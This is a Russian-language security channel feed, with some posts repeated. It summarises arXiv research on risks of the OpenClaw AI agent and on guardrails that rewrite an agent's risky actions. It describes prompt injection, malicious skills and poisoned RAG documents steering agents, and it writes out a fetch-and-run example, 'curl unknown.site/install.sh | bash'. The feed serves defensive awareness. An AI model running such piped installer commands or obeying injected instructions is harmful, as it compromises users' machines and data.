🔹 ограничения команд
🔹 защита памяти
🔹 аудит инструментов
🔹 политика выполнения действий
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #AppSec #OpenSource #CyberSecurity #CloudSecurity #LLM #AgenticAI #DevSecOps #SecureTechTalks
👍1
🧠💣 Понимание рисков Open Claw для пользователей, не обладающих техническими навыками: практическое руководство с использованием Skill
Статья с таким заголовком вышла на arxiv.org
OpenClaw стал слишком мощным. Теперь исследователи учат людей, как от него защищаться 😁
Авторы утверждают, что OpenClaw уже превратился из «прикольного open-source агента» в систему, которая может автономно выполнять длинные задачи, принимать решения и использовать инструменты почти как junior инженер.
👤Пользователь, как главная уязвимость AI-агентов
Человек даёт агенту слишком много свободы:
❌ запускает OpenClaw с root/admin правами
❌ разрешает shell без ограничений
❌ подключает приватные директории
❌ даёт доступ к API-ключам и браузеру
❌ копирует команды из Discord/GitHub без понимания последствий
❌ доверяет агенту «починить систему»
В мире AI-агентов это уже превращается в полноценную attack surface. Один плохой prompt, один malicious skill, одна «полезная автоматизация» и агент сам начинает делать за атакующего грязную работу.
🙆♂ Риски
Авторы выделяют 7 ключевых классов рисков для OpenClaw: от утечки данных и опасных команд до неправильной автономии и злоупотребления доступами. Документ написан максимально приземлённо, как практическая инструкция «что реально может пойти не так».
Советуем ознакомиться с материалом самостоятельно. Обойдёмся без спойлеров.
📄 Источник: “Understanding and mitigating the risks of OpenClaw for non-technical users
”
Stay secure and read SecureTechTalks 📚
#CyberSecurity #AI #LLMSecurity #OpenClaw #AIAgents #GenAI #CyberDefense #AISecurity #AppSec #SecureTechTalks
Статья с таким заголовком вышла на arxiv.org
OpenClaw стал слишком мощным. Теперь исследователи учат людей, как от него защищаться 😁
Авторы утверждают, что OpenClaw уже превратился из «прикольного open-source агента» в систему, которая может автономно выполнять длинные задачи, принимать решения и использовать инструменты почти как junior инженер.
👤Пользователь, как главная уязвимость AI-агентов
Человек даёт агенту слишком много свободы:
❌ запускает OpenClaw с root/admin правами
❌ разрешает shell без ограничений
❌ подключает приватные директории
❌ даёт доступ к API-ключам и браузеру
❌ копирует команды из Discord/GitHub без понимания последствий
❌ доверяет агенту «починить систему»
В мире AI-агентов это уже превращается в полноценную attack surface. Один плохой prompt, один malicious skill, одна «полезная автоматизация» и агент сам начинает делать за атакующего грязную работу.
🙆♂ Риски
Авторы выделяют 7 ключевых классов рисков для OpenClaw: от утечки данных и опасных команд до неправильной автономии и злоупотребления доступами. Документ написан максимально приземлённо, как практическая инструкция «что реально может пойти не так».
Советуем ознакомиться с материалом самостоятельно. Обойдёмся без спойлеров.
📄 Источник: “Understanding and mitigating the risks of OpenClaw for non-technical users
”
Stay secure and read SecureTechTalks 📚
#CyberSecurity #AI #LLMSecurity #OpenClaw #AIAgents #GenAI #CyberDefense #AISecurity #AppSec #SecureTechTalks
👍2
🧠🛡️ Guardrails для AI-агентов начали переписывать execution plan
Большинство защит AI-агентов блокирует действие, если замечает риск и просто. В результате агент либо ломается, либо уходит в рекурсию, пока случайно не найдёт обходной путь.
На arXiv вышла работа, где исследователи предлагают не останавливать агента, а безопасно менять его план действий.
⚙️ В чем суть?
Guardrail анализирует действие агента перед выполнением (ту же shell-команду или API-вызов) после чего возвращает вердикт: «можно / запрещено / уровень риска». Однако реальные инциденты возникают не потому, что агент «злой», а потому что он работает на загрязнённом контексте.
Вредоносный RAG-документ, prompt injection, опасный tool chain или просто недоверенные инструкции могут изменить reasoning модели и подтолкнуть её к небезопасному действию.
Исследователи предлагают добавить feedback-driven remediation layer. Если guardrail замечает риск, агенту показывают безопасный способ добиться той же цели.
🧪 Как это выглядит на практике
Агент собирается выполнить
Классическая защита вернёт «BLOCK», а новый подход пытается безопасно переписать execution path: скачать файл → проверить хэш → показать diff → запросить подтверждение → запускать только в изоляции.
Guardrail начинает работать как runtime AppSec reviewer для reasoning AI-агента.
🧠 Зачем все усложнять?
Агенту иногда нужно делать потенциально рискованные действия, чтобы вообще быть полезным. Если всё запрещать, то можно забыть об автономности, а если разрешать всё, то появляется огромная брешь в защите.
🔗 Исследование: https://arxiv.org/abs/2606.05805
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #AIsecurity #AppSec #RuntimeSecurity #CyberSecurity #SecureTechTalks
Большинство защит AI-агентов блокирует действие, если замечает риск и просто. В результате агент либо ломается, либо уходит в рекурсию, пока случайно не найдёт обходной путь.
На arXiv вышла работа, где исследователи предлагают не останавливать агента, а безопасно менять его план действий.
⚙️ В чем суть?
Guardrail анализирует действие агента перед выполнением (ту же shell-команду или API-вызов) после чего возвращает вердикт: «можно / запрещено / уровень риска». Однако реальные инциденты возникают не потому, что агент «злой», а потому что он работает на загрязнённом контексте.
Вредоносный RAG-документ, prompt injection, опасный tool chain или просто недоверенные инструкции могут изменить reasoning модели и подтолкнуть её к небезопасному действию.
Исследователи предлагают добавить feedback-driven remediation layer. Если guardrail замечает риск, агенту показывают безопасный способ добиться той же цели.
🧪 Как это выглядит на практике
Агент собирается выполнить
curl unknown.site/install.sh | bashКлассическая защита вернёт «BLOCK», а новый подход пытается безопасно переписать execution path: скачать файл → проверить хэш → показать diff → запросить подтверждение → запускать только в изоляции.
Guardrail начинает работать как runtime AppSec reviewer для reasoning AI-агента.
🧠 Зачем все усложнять?
Агенту иногда нужно делать потенциально рискованные действия, чтобы вообще быть полезным. Если всё запрещать, то можно забыть об автономности, а если разрешать всё, то появляется огромная брешь в защите.
🔗 Исследование: https://arxiv.org/abs/2606.05805
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #AIsecurity #AppSec #RuntimeSecurity #CyberSecurity #SecureTechTalks
👍1